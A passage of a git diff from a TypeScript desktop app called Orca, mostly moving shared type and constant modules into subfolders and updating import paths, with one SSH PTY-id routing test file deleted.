DEFAULT_STATUS_BAR_USAGE_FORMAT } from './status-bar/status-bar-usage-format' -import { buildDefaultSettings } from './default-global-settings' -import { DEFAULT_SETUP_AGENT_STARTUP_POLICY } from './agent-launch/startup/setup-agent-startup-policy' -import { DEFAULT_BROWSER_PAGE_ZOOM_LEVEL } from './browser/site-settings/browser-page-zoom' -import { getDefaultNotificationSettings } from './notifications/notification-settings-defaults' -import { getDefaultOnboardingState } from './onboarding/onboarding-defaults' +} from '../agent-status/presentation/agents-view-thread-filters' +import { DEFAULT_USAGE_PERCENTAGE_DISPLAY } from '../agent-usage/display/usage-percentage-display' +import { DEFAULT_STATUS_BAR_USAGE_MODE } from '../status-bar/status-bar-usage-mode' +import { DEFAULT_STATUS_BAR_USAGE_FORMAT } from '../status-bar/status-bar-usage-format' +import { buildDefaultSettings } from '../settings/default-global-settings' +import { DEFAULT_SETUP_AGENT_STARTUP_POLICY } from '../agent-launch/startup/setup-agent-startup-policy' +import { DEFAULT_BROWSER_PAGE_ZOOM_LEVEL } from '../browser/site-settings/browser-page-zoom' +import { getDefaultNotificationSettings } from '../notifications/notification-settings-defaults' +import { getDefaultOnboardingState } from '../onboarding/onboarding-defaults' import { defaultTerminalFontFamily, defaultTerminalFontWeight, getDefaultPrimarySelectionMiddleClickPaste, getDefaultTerminalRightClickToPaste -} from './terminal/appearance/terminal-platform-defaults' +} from '../terminal/appearance/terminal-platform-defaults' export const SCHEMA_VERSION = 1 -export const DEFAULT_APP_FONT_FAMILY = 'Geist' -export const DEFAULT_SHOW_SLEEPING_WORKSPACES = true -export const DEFAULT_HIDE_SLEEPING_WORKSPACES = false -export const DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE: AgentActivityDisplayMode = 'compact' -export const DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY = 0.9 - -export function normalizeAgentActivityDisplayMode(value: unknown): AgentActivityDisplayMode { - return value === 'full' || value === 'compact' ? value : DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE -} - -/** ProseMirror mounts whole documents. M-series Electron measurements at 300/450/600KB: longest tasks 0.66/1.02/1.41s; 600KB typing p95 39ms (#17134/#17147/#17158). Use cheap pre-parse byte guard, then source mode with Open anyway. */ -export const RICH_MARKDOWN_MAX_SIZE_BYTES = 600 * 1024 - -export const DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS = 1000 -export const MIN_EDITOR_AUTO_SAVE_DELAY_MS = 250 -export const MAX_EDITOR_AUTO_SAVE_DELAY_MS = 10_000 - -// Why: first-time seed only — doubles on each dismissal without starring; later thresholds live in starNagNextThreshold. -export const STAR_NAG_INITIAL_THRESHOLD = 35 - -/** Synthetic worktree id for PTYs not tied to any worktree; shared so main and renderer agree on the sentinel. */ -export const ORPHAN_WORKTREE_ID = '__orphan__' - -// Why: synthetic local workspace; persistence pruning must classify it without the repo catalog. -export const FLOATING_TERMINAL_WORKTREE_ID = 'global-floating-terminal' - -export { DEFAULT_REPO_BADGE_COLOR, REPO_COLORS } from './repository/appearance/repo-badge-color' /** Expose the stock root so callers can distinguish an untouched default from a user-selected directory. */ export function getDefaultWorkspaceDir(homeDir: string): string { diff --git a/src/shared/orca-profiles/orca-profiles.ts b/src/shared/orca-profiles/orca-profiles.ts index 046b3fd9e49..374c28a3f9c 100644 --- a/src/shared/orca-profiles/orca-profiles.ts +++ b/src/shared/orca-profiles/orca-profiles.ts @@ -1,6 +1,6 @@ -import '../constants' +import './constants' import { ORCA_BROWSER_PARTITION } from '../browser/browser-session-partition' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' export const ORCA_PROFILE_INDEX_SCHEMA_VERSION = 1 export const DEFAULT_LOCAL_ORCA_PROFILE_ID = 'local-default' diff --git a/src/shared/persisted-state-types.ts b/src/shared/orca-profiles/persisted-state-types.ts similarity index 74% rename from src/shared/persisted-state-types.ts rename to src/shared/orca-profiles/persisted-state-types.ts index 4c078336203..30fb56f4e7b 100644 --- a/src/shared/persisted-state-types.ts +++ b/src/shared/orca-profiles/persisted-state-types.ts @@ -1,38 +1,38 @@ -import type { ExecutionHostId } from './execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { RemovedSshTargetTombstone, SshPtyConsumerRecovery, SshRemotePtyLease, SshTarget -} from './remote-runtime/ssh/ssh-types' -import type { Automation } from './automations/automation-definition' -import type { AutomationRun } from './automations/history/automation-run' -import type { MigrationUnsupportedPtyEntry } from './agent-status/contracts/agent-status-ipc-payload' -import type { FeatureInteractionTelemetryBucketState } from './feature-education/interactions/feature-interactions' -import type { CodexResetCreditAttemptLedger } from './agent-accounts/codex/codex-reset-credit-attempt-ledger' -import type { ChatUiLaunchTipAudience } from './native-chat/chat-ui-launch-tip-audience' -import type { DiffComment } from './file-review/diff-comment-types' -import type { FolderWorkspace } from './folder-workspaces/folder-workspace-types' -import type { WorkspaceKey } from './workspace/identity/workspace-scope' -import type { GlobalSettings } from './global-settings-types' -import type { IssueInfo, PRInfo } from './github/pull-requests/pull-request-types' -import type { OnboardingState } from './onboarding/onboarding-state-types' +} from '../remote-runtime/ssh/ssh-types' +import type { Automation } from '../automations/automation-definition' +import type { AutomationRun } from '../automations/history/automation-run' +import type { MigrationUnsupportedPtyEntry } from '../agent-status/contracts/agent-status-ipc-payload' +import type { FeatureInteractionTelemetryBucketState } from '../feature-education/interactions/feature-interactions' +import type { CodexResetCreditAttemptLedger } from '../agent-accounts/codex/codex-reset-credit-attempt-ledger' +import type { ChatUiLaunchTipAudience } from '../native-chat/chat-ui-launch-tip-audience' +import type { DiffComment } from '../file-review/diff-comment-types' +import type { FolderWorkspace } from '../folder-workspaces/folder-workspace-types' +import type { WorkspaceKey } from '../workspace/identity/workspace-scope' +import type { GlobalSettings } from '../settings/global-settings-types' +import type { IssueInfo, PRInfo } from '../github/pull-requests/pull-request-types' +import type { OnboardingState } from '../onboarding/onboarding-state-types' import type { PersistedUIState } from './persisted-ui-state-types' -import type { ProjectGroup } from './project/groups/project-group-types' -import type { RemoteLayoutSnapshot } from './remote-runtime/session-graph/remote-layout-snapshot' -import type { HostRepoCatalogSnapshot } from './execution-host/host-repo-catalog-snapshot' -import type { Project, ProjectHostSetup } from './project/project-types' -import type { Repo } from './repository/repo-types' -import type { SparsePreset } from './worktree/create-types' -import type { RetiredNameRegistry } from './worktree/naming/retired-name-registry' -import type { WorkspaceLineage, WorktreeLineage } from './worktree/lineage-types' -import type { WorktreeMeta } from './worktree/meta-types' -import type { WorkspaceSessionState } from './workspace-session/workspace-session-state-types' -import type { OrcadMigrationEvictedReceipt } from './orcad-migration/orcad-migration-evicted-receipts' +import type { ProjectGroup } from '../project/groups/project-group-types' +import type { RemoteLayoutSnapshot } from '../remote-runtime/session-graph/remote-layout-snapshot' +import type { HostRepoCatalogSnapshot } from '../execution-host/host-repo-catalog-snapshot' +import type { Project, ProjectHostSetup } from '../project/project-types' +import type { Repo } from '../repository/repo-types' +import type { SparsePreset } from '../worktree/create-types' +import type { RetiredNameRegistry } from '../worktree/naming/retired-name-registry' +import type { WorkspaceLineage, WorktreeLineage } from '../worktree/lineage-types' +import type { WorktreeMeta } from '../worktree/meta-types' +import type { WorkspaceSessionState } from '../workspace-session/workspace-session-state-types' +import type { OrcadMigrationEvictedReceipt } from '../orcad-migration/orcad-migration-evicted-receipts' import type { OrcadMigrationImportReceipt, OrcadMigrationStagedCatalog -} from './orcad-migration/orcad-migration-manifest' +} from '../orcad-migration/orcad-migration-manifest' export type LegacyPaneKeyAliasEntry = { ptyId: string diff --git a/src/shared/persisted-ui-state-types.ts b/src/shared/orca-profiles/persisted-ui-state-types.ts similarity index 91% rename from src/shared/persisted-ui-state-types.ts rename to src/shared/orca-profiles/persisted-ui-state-types.ts index 7ca1b5c218a..ac3fabed742 100644 --- a/src/shared/persisted-ui-state-types.ts +++ b/src/shared/orca-profiles/persisted-ui-state-types.ts @@ -1,17 +1,17 @@ -import type { GitHistoryRefs } from './git/history/git-history-types' -import type { JiraQuickFilterState } from './jira/jira-quick-filters' -import type { BrowserDevToolsDockLayout } from './browser/devtools/browser-devtools-dock' -import type { JiraSavedFilterState } from './jira/jira-saved-filters' -import type { ReleaseChannel } from './updater/release-channel' -import type { WorkspaceCleanupUIState } from './workspace-cleanup/workspace-cleanup' -import type { FeatureTipSeenId } from './feature-education/feature-tips' -import type { ContextualTourId } from './feature-education/contextual-tours/contextual-tours' -import type { FeatureInteractionState } from './feature-education/interactions/feature-interactions' -import type { UsagePercentageDisplay } from './agent-usage/display/usage-percentage-display' -import type { StatusBarUsageMode } from './status-bar/status-bar-usage-mode' -import type { StatusBarUsageFormat } from './status-bar/status-bar-usage-format' -import type { PersistedTrustedOrcaHooks } from './workspace-setup/orca-yaml-hook-types' -import type { CustomPet } from './pets/pet-types' +import type { GitHistoryRefs } from '../git/history/git-history-types' +import type { JiraQuickFilterState } from '../jira/jira-quick-filters' +import type { BrowserDevToolsDockLayout } from '../browser/devtools/browser-devtools-dock' +import type { JiraSavedFilterState } from '../jira/jira-saved-filters' +import type { ReleaseChannel } from '../updater/release-channel' +import type { WorkspaceCleanupUIState } from '../workspace-cleanup/workspace-cleanup' +import type { FeatureTipSeenId } from '../feature-education/feature-tips' +import type { ContextualTourId } from '../feature-education/contextual-tours/contextual-tours' +import type { FeatureInteractionState } from '../feature-education/interactions/feature-interactions' +import type { UsagePercentageDisplay } from '../agent-usage/display/usage-percentage-display' +import type { StatusBarUsageMode } from '../status-bar/status-bar-usage-mode' +import type { StatusBarUsageFormat } from '../status-bar/status-bar-usage-format' +import type { PersistedTrustedOrcaHooks } from '../workspace-setup/orca-yaml-hook-types' +import type { CustomPet } from '../pets/pet-types' import type { AgentActivityDisplayMode, ManualRepoOrderEntry, @@ -26,14 +26,14 @@ import type { WorkspaceHostOrder, WorkspaceHostScope, WorktreeCardProperty -} from './ui-chrome-types' +} from '../ui-chrome/ui-chrome-types' import type { ActivityGroupBy, ThreadReadFilter -} from './agent-status/presentation/agents-view-thread-filters' -import type { WorkspaceStatusDefinition } from './worktree/types' -import type { PersistedAutomationHostFilter } from './automations/ownership/automation-host-filter' -import type { PendingRuntimeRepoRemoval } from './remote-runtime/host-catalog/pending-runtime-repo-removal' +} from '../agent-status/presentation/agents-view-thread-filters' +import type { WorkspaceStatusDefinition } from '../worktree/types' +import type { PersistedAutomationHostFilter } from '../automations/ownership/automation-host-filter' +import type { PendingRuntimeRepoRemoval } from '../remote-runtime/host-catalog/pending-runtime-repo-removal' export type PersistedUIState = { gitGraphFiltersByWorktree?: Record diff --git a/src/shared/orcad-migration/orcad-migration-client-state-parsing.ts b/src/shared/orcad-migration/orcad-migration-client-state-parsing.ts index 596dbf78aca..e20dd49ee68 100644 --- a/src/shared/orcad-migration/orcad-migration-client-state-parsing.ts +++ b/src/shared/orcad-migration/orcad-migration-client-state-parsing.ts @@ -4,8 +4,8 @@ import type { OrcadMigrationClientHostedBrowserCloseIntent, OrcadMigrationUiRoutingState } from './orcad-migration-client-state' -import type { PersistedMobileClientTabSelections } from '../persisted-state-types' -import type { ManualRepoOrderEntry, WorkspaceHostOrder } from '../ui-chrome-types' +import type { PersistedMobileClientTabSelections } from '../orca-profiles/persisted-state-types' +import type { ManualRepoOrderEntry, WorkspaceHostOrder } from '../ui-chrome/ui-chrome-types' import type { SavedPortForward } from '../remote-runtime/ssh/ssh-types' import { isRecord } from './orcad-migration-manifest-fields' import { diff --git a/src/shared/orcad-migration/orcad-migration-client-state-value-validation.ts b/src/shared/orcad-migration/orcad-migration-client-state-value-validation.ts index 47e7d4890e3..52eea2e42d8 100644 --- a/src/shared/orcad-migration/orcad-migration-client-state-value-validation.ts +++ b/src/shared/orcad-migration/orcad-migration-client-state-value-validation.ts @@ -1,4 +1,4 @@ -import type { WorkspaceHostScope } from '../ui-chrome-types' +import type { WorkspaceHostScope } from '../ui-chrome/ui-chrome-types' import type { SavedPortForward } from '../remote-runtime/ssh/ssh-types' import { requiredRecord } from './orcad-migration-dormant-value-validation' import { boundedStringArray } from './orcad-migration-manifest-fields' diff --git a/src/shared/orcad-migration/orcad-migration-client-state.ts b/src/shared/orcad-migration/orcad-migration-client-state.ts index d788c1acf43..7a384d49d96 100644 --- a/src/shared/orcad-migration/orcad-migration-client-state.ts +++ b/src/shared/orcad-migration/orcad-migration-client-state.ts @@ -1,11 +1,11 @@ import type { PersistedAutomationHostFilter } from '../automations/ownership/automation-host-filter' -import type { PersistedMobileClientTabSelections } from '../persisted-state-types' +import type { PersistedMobileClientTabSelections } from '../orca-profiles/persisted-state-types' import type { ManualRepoOrderEntry, VisibleWorkspaceHostIds, WorkspaceHostOrder, WorkspaceHostScope -} from '../ui-chrome-types' +} from '../ui-chrome/ui-chrome-types' import type { SavedPortForward } from '../remote-runtime/ssh/ssh-types' import { parseClientHostedBrowserCloseIntents, diff --git a/src/shared/orcad-migration/orcad-migration-dormant-session-validation.test.ts b/src/shared/orcad-migration/orcad-migration-dormant-session-validation.test.ts index 7551102bd4c..f14e65656ef 100644 --- a/src/shared/orcad-migration/orcad-migration-dormant-session-validation.test.ts +++ b/src/shared/orcad-migration/orcad-migration-dormant-session-validation.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../constants' +import { getDefaultWorkspaceSession } from '../orca-profiles/constants' import { CLIENT_HOSTED_BROWSER_PAGE_RECORD_VERSION, type PersistedClientHostedBrowserPage diff --git a/src/shared/orcad-migration/orcad-migration-scrollback.test.ts b/src/shared/orcad-migration/orcad-migration-scrollback.test.ts index 39ae3fd8933..3db382fd0ca 100644 --- a/src/shared/orcad-migration/orcad-migration-scrollback.test.ts +++ b/src/shared/orcad-migration/orcad-migration-scrollback.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../constants' +import { getDefaultWorkspaceSession } from '../orca-profiles/constants' import { assertOrcadMigrationScrollbackReferences, parseOrcadMigrationSnapshotChunkResult, diff --git a/src/shared/plugins/appearance/plugin-font-settings.ts b/src/shared/plugins/appearance/plugin-font-settings.ts index 86a1c8ea43f..788df742dfd 100644 --- a/src/shared/plugins/appearance/plugin-font-settings.ts +++ b/src/shared/plugins/appearance/plugin-font-settings.ts @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../../global-settings-types' -import { DEFAULT_APP_FONT_FAMILY } from '../../constants' +import type { GlobalSettings } from '../../settings/global-settings-types' +import { DEFAULT_APP_FONT_FAMILY } from '../../app-lifecycle/appearance/app-font-family' import { isPluginFontFamilyOf } from '../contributions/plugin-font-contribution' import { defaultTerminalFontFamily } from '../../terminal/appearance/terminal-platform-defaults' diff --git a/src/shared/plugins/appearance/plugin-theme-settings.ts b/src/shared/plugins/appearance/plugin-theme-settings.ts index 1acc5dfc58e..5bb76382be5 100644 --- a/src/shared/plugins/appearance/plugin-theme-settings.ts +++ b/src/shared/plugins/appearance/plugin-theme-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { AppThemeSlotSelection, CodeEditorThemeChoice diff --git a/src/shared/plugins/capabilities/plugin-owned-settings.ts b/src/shared/plugins/capabilities/plugin-owned-settings.ts index 60ab2e4c6ab..c341d344d31 100644 --- a/src/shared/plugins/capabilities/plugin-owned-settings.ts +++ b/src/shared/plugins/capabilities/plugin-owned-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { normalizePluginThemeSettings, type PluginThemeSettingsInput diff --git a/src/shared/plugins/workers/plugin-host-api-editor-typography.ts b/src/shared/plugins/workers/plugin-host-api-editor-typography.ts index 4b6bef686af..b87e497483b 100644 --- a/src/shared/plugins/workers/plugin-host-api-editor-typography.ts +++ b/src/shared/plugins/workers/plugin-host-api-editor-typography.ts @@ -1,5 +1,5 @@ import { z } from 'zod' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { resolveEditorTypography, resolveFileEditorMinimapEnabled, diff --git a/src/shared/project/catalog/endpoint-catalog-adoption.ts b/src/shared/project/catalog/endpoint-catalog-adoption.ts index c344f60a4fe..f31cf82fd65 100644 --- a/src/shared/project/catalog/endpoint-catalog-adoption.ts +++ b/src/shared/project/catalog/endpoint-catalog-adoption.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { normalizeProjectHostSetupRow, normalizeProjectHostSetupRows, diff --git a/src/shared/project/catalog/hidden-projects.ts b/src/shared/project/catalog/hidden-projects.ts index 5237d8e3a3d..02bd12db7f5 100644 --- a/src/shared/project/catalog/hidden-projects.ts +++ b/src/shared/project/catalog/hidden-projects.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostIdOrDefault, normalizeExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { Repo } from '../../repository/repo-types' type HiddenRepoRow = Pick diff --git a/src/shared/project/catalog/project-catalog-row-normalization.ts b/src/shared/project/catalog/project-catalog-row-normalization.ts index bb1d916c18d..75abe60c3c9 100644 --- a/src/shared/project/catalog/project-catalog-row-normalization.ts +++ b/src/shared/project/catalog/project-catalog-row-normalization.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import type { Project, ProjectHostSetup } from '../project-types' /** Normalize persisted/mixed-version Project/ProjectHostSetup rows at ingress; null/missing strings otherwise crash trim consumers diff --git a/src/shared/project/catalog/project-compatibility-host-merge.ts b/src/shared/project/catalog/project-compatibility-host-merge.ts index 9c8dde389cf..5b4d65bb351 100644 --- a/src/shared/project/catalog/project-compatibility-host-merge.ts +++ b/src/shared/project/catalog/project-compatibility-host-merge.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { type ProjectCatalogRows, getProjectHostSetupOwnerKey, diff --git a/src/shared/project/catalog/project-compatibility-merge.ts b/src/shared/project/catalog/project-compatibility-merge.ts index 95185fc0f6c..3fc68e1896e 100644 --- a/src/shared/project/catalog/project-compatibility-merge.ts +++ b/src/shared/project/catalog/project-compatibility-merge.ts @@ -6,7 +6,10 @@ import { projectHostSetupProjectionFromRepos } from '../host-setup/project-host-setup-projection' import type { ProjectHostSetupProjection } from '../host-setup/project-host-setup-projection' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../execution-host/execution-host' /** A catalog's project rows and the host setups that place them. */ export type ProjectCatalogRows = { diff --git a/src/shared/project/groups/project-groups.ts b/src/shared/project/groups/project-groups.ts index b027b9ff7b8..f778c095892 100644 --- a/src/shared/project/groups/project-groups.ts +++ b/src/shared/project/groups/project-groups.ts @@ -1,5 +1,5 @@ -import { getDefaultRepoHookSettings } from '../../constants' -import { normalizeExecutionHostId } from '../../execution-host' +import { getDefaultRepoHookSettings } from '../../orca-profiles/constants' +import { normalizeExecutionHostId } from '../../execution-host/execution-host' import type { ProjectGroup, ProjectGroupCreatedFrom } from './project-group-types' import type { Repo } from '../../repository/repo-types' import { createNonSecureContextUuid } from '../../identifiers/non-secure-context-uuid' diff --git a/src/shared/project/host-setup/project-host-setup-lookup.ts b/src/shared/project/host-setup/project-host-setup-lookup.ts index 935495e753d..09186d9c185 100644 --- a/src/shared/project/host-setup/project-host-setup-lookup.ts +++ b/src/shared/project/host-setup/project-host-setup-lookup.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../execution-host' +import { getRepoExecutionHostId } from '../../execution-host/execution-host' import type { ProjectHostSetup } from '../project-types' import type { Repo } from '../../repository/repo-types' import type { WorktreeMeta } from '../../worktree/meta-types' diff --git a/src/shared/project/host-setup/project-host-setup-projection.ts b/src/shared/project/host-setup/project-host-setup-projection.ts index 04130ce38c7..52758bd540e 100644 --- a/src/shared/project/host-setup/project-host-setup-projection.ts +++ b/src/shared/project/host-setup/project-host-setup-projection.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../execution-host' +import { getRepoExecutionHostId } from '../../execution-host/execution-host' import { normalizeProjectHostSetupRow, normalizeProjectRow diff --git a/src/shared/project/host-setup/project-host-setup-target.ts b/src/shared/project/host-setup/project-host-setup-target.ts index 9b5bb6609a7..bfbfa2efad8 100644 --- a/src/shared/project/host-setup/project-host-setup-target.ts +++ b/src/shared/project/host-setup/project-host-setup-target.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' export const SERVER_SSH_PROJECT_ADD_UNAVAILABLE_MESSAGE = "This Orca server can't add projects on its SSH hosts. Add the SSH host on your computer to open its projects." diff --git a/src/shared/project/project-types.ts b/src/shared/project/project-types.ts index 3d6e6c677ad..b567ba84e8a 100644 --- a/src/shared/project/project-types.ts +++ b/src/shared/project/project-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { RepoIcon } from '../repository/appearance/repo-icon' import type { GitRemoteIdentity } from '../git/remotes/git-remote-identity' import type { LocalWindowsRuntimePreference } from '../execution-host/project-runtime-preference' diff --git a/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-environment-sleep.ts b/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-environment-sleep.ts index 5b4b2c03e8d..275d86d8ebd 100644 --- a/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-environment-sleep.ts +++ b/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-environment-sleep.ts @@ -1,6 +1,6 @@ import { listEphemeralVmRuntimes } from './ephemeral-vm-runtime-store' import type { EphemeralVmRuntimeRecord } from './ephemeral-vm-runtimes' -import { isRuntimeOwnedSshTargetId } from '../../execution-host' +import { isRuntimeOwnedSshTargetId } from '../../execution-host/execution-host' import { getOrcadSshDeployment, isEphemeralVmRuntimeEnvironment, diff --git a/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-workspace-owner.ts b/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-workspace-owner.ts index 09f192213c8..4eeb0d51e4c 100644 --- a/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-workspace-owner.ts +++ b/src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-workspace-owner.ts @@ -5,7 +5,7 @@ import { getEphemeralVmRecipeResultProjectRoot } from '../ephemeral-vm-recipes/ephemeral-vm-recipes' import type { EphemeralVmRuntimeRecord } from './ephemeral-vm-runtimes' -import { toRuntimeExecutionHostId, toSshExecutionHostId } from '../../execution-host' +import { toRuntimeExecutionHostId, toSshExecutionHostId } from '../../execution-host/execution-host' /** A workspace id alone can name unrelated checkouts on different hosts. */ export function findEphemeralVmWorkspaceOwner( diff --git a/src/shared/remote-runtime/host-catalog/paired-server-hosts.ts b/src/shared/remote-runtime/host-catalog/paired-server-hosts.ts index 1492a3a06e2..ade29522937 100644 --- a/src/shared/remote-runtime/host-catalog/paired-server-hosts.ts +++ b/src/shared/remote-runtime/host-catalog/paired-server-hosts.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../execution-host' +import { parseExecutionHostId, type ExecutionHostId } from '../../execution-host/execution-host' import { buildExecutionHostRegistry } from '../../execution-host/execution-host-registry' import type { ExecutionHostHealth } from '../../execution-host/execution-host-health' import { diff --git a/src/shared/remote-runtime/pairing/pairing-local-ui-fields.ts b/src/shared/remote-runtime/pairing/pairing-local-ui-fields.ts index c605186dbdc..702175e3827 100644 --- a/src/shared/remote-runtime/pairing/pairing-local-ui-fields.ts +++ b/src/shared/remote-runtime/pairing/pairing-local-ui-fields.ts @@ -1,4 +1,4 @@ -import type { PersistedUIState } from '../../persisted-ui-state-types' +import type { PersistedUIState } from '../../orca-profiles/persisted-ui-state-types' // Pairing-local views use each client’s host catalog/viewport; forwarding them would overwrite another client’s choices. // Strip on ui.set and pin local values on ui.get. diff --git a/src/shared/remote-runtime/ssh/ssh-pty-id.test.ts b/src/shared/remote-runtime/ssh/ssh-pty-id.test.ts deleted file mode 100644 index 3b19c05fe24..00000000000 --- a/src/shared/remote-runtime/ssh/ssh-pty-id.test.ts +++ /dev/null @@ -1,40 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { toSshExecutionHostId } from '../../execution-host' -import { parseAppSshPtyId, toAppSshPtyId, toRelaySshPtyId } from './ssh-pty-id' - -describe('ssh pty id routing', () => { - const CONNECTION = 'ssh-1779863656395-57g1q1' - const HOST_ID = toSshExecutionHostId(CONNECTION) // "ssh:ssh-1779863656395-57g1q1" - const APP_ID = toAppSshPtyId(CONNECTION, 'pty-3') // "ssh:ssh-1779863656395-57g1q1@@pty-3" - - // Reconnect callers may supply workspace hostId (ssh:); it must route identically to the bare target ID. - it('accepts the execution-host id form as the same connection', () => { - expect(toRelaySshPtyId(HOST_ID, APP_ID)).toBe('pty-3') - expect(toAppSshPtyId(HOST_ID, APP_ID)).toBe(APP_ID) - expect(toAppSshPtyId(HOST_ID, 'pty-7')).toBe('ssh:ssh-1779863656395-57g1q1@@pty-7') - }) - - // Older wrappers split on the first @@; colons inside epoch-scoped IDs must survive round trips. - it('round-trips a mint-epoch relay pty id', () => { - const relayPtyId = 'pty2:0f8fad5b-d9cb-469f-a165-70867728950e:12' - const appId = toAppSshPtyId(CONNECTION, relayPtyId) - - expect(appId).toBe(`ssh:${CONNECTION}@@${relayPtyId}`) - expect(parseAppSshPtyId(appId)).toEqual({ connectionId: CONNECTION, relayPtyId }) - expect(toRelaySshPtyId(CONNECTION, appId)).toBe(relayPtyId) - expect(toRelaySshPtyId(HOST_ID, appId)).toBe(relayPtyId) - expect(toAppSshPtyId(CONNECTION, appId)).toBe(appId) - expect(() => toRelaySshPtyId('ssh-other', appId)).toThrow( - `belongs to SSH connection "${CONNECTION}"` - ) - }) - - it('still rejects a pty id owned by a genuinely different connection', () => { - expect(() => toRelaySshPtyId('ssh-other', APP_ID)).toThrow( - `belongs to SSH connection "${CONNECTION}"` - ) - expect(() => toAppSshPtyId(toSshExecutionHostId('ssh-other'), APP_ID)).toThrow( - `belongs to SSH connection "${CONNECTION}"` - ) - }) -}) diff --git a/src/shared/remote-runtime/ssh/ssh-pty-id.ts b/src/shared/remote-runtime/ssh/ssh-pty-id.ts index d77a501cd44..8ba23933b80 100644 --- a/src/shared/remote-runtime/ssh/ssh-pty-id.ts +++ b/src/shared/remote-runtime/ssh/ssh-pty-id.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' const SSH_PTY_ID_PREFIX = 'ssh:' const SSH_PTY_ID_SEPARATOR = '@@' diff --git a/src/shared/repository/appearance/repo-display-labels.ts b/src/shared/repository/appearance/repo-display-labels.ts index 7499be9a358..c2607c11f42 100644 --- a/src/shared/repository/appearance/repo-display-labels.ts +++ b/src/shared/repository/appearance/repo-display-labels.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../execution-host' +import { getRepoExecutionHostId, type ExecutionHostId } from '../../execution-host/execution-host' type RepoDisplayLabelItem = { path: string diff --git a/src/shared/repository/manual-repo-order.ts b/src/shared/repository/manual-repo-order.ts index 67350525491..61ad6470354 100644 --- a/src/shared/repository/manual-repo-order.ts +++ b/src/shared/repository/manual-repo-order.ts @@ -1,7 +1,7 @@ -import { getRepoExecutionHostId, normalizeExecutionHostId } from '../execution-host' +import { getRepoExecutionHostId, normalizeExecutionHostId } from '../execution-host/execution-host' import { getRepoHostIdentityForParts } from './repo-host-identity' import type { Repo } from './repo-types' -import type { ManualRepoOrderEntry } from '../ui-chrome-types' +import type { ManualRepoOrderEntry } from '../ui-chrome/ui-chrome-types' function getEntryKey(entry: ManualRepoOrderEntry): string { return getRepoHostIdentityForParts(entry.repoId, entry.hostId) diff --git a/src/shared/repository/repo-host-identity.ts b/src/shared/repository/repo-host-identity.ts index 86f9b1c6fa5..3fdbc7931c1 100644 --- a/src/shared/repository/repo-host-identity.ts +++ b/src/shared/repository/repo-host-identity.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../execution-host' +import { getRepoExecutionHostId, type ExecutionHostId } from '../execution-host/execution-host' import type { Repo } from './repo-types' declare const hostScopedRepoKeyBrand: unique symbol diff --git a/src/shared/rpc-contract/ai-vault/ai-vault-params.ts b/src/shared/rpc-contract/ai-vault/ai-vault-params.ts index bb8d55a968e..14c00bec4cd 100644 --- a/src/shared/rpc-contract/ai-vault/ai-vault-params.ts +++ b/src/shared/rpc-contract/ai-vault/ai-vault-params.ts @@ -1,5 +1,5 @@ import { z } from 'zod' -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import { AI_VAULT_AGENTS, boundedAiVaultScopeArgs } from '../../ai-vault/contracts/ai-vault-types' import { OptionalBoolean } from '../rpc-param-primitives' import { AI_VAULT_SESSION_TITLE_REQUEST_MAX_COUNT } from '../../ai-vault/contracts/ai-vault-session-title' diff --git a/src/shared/rpc-contract/automations/automation-params.ts b/src/shared/rpc-contract/automations/automation-params.ts index f363ca7e630..64aec9d59ea 100644 --- a/src/shared/rpc-contract/automations/automation-params.ts +++ b/src/shared/rpc-contract/automations/automation-params.ts @@ -10,7 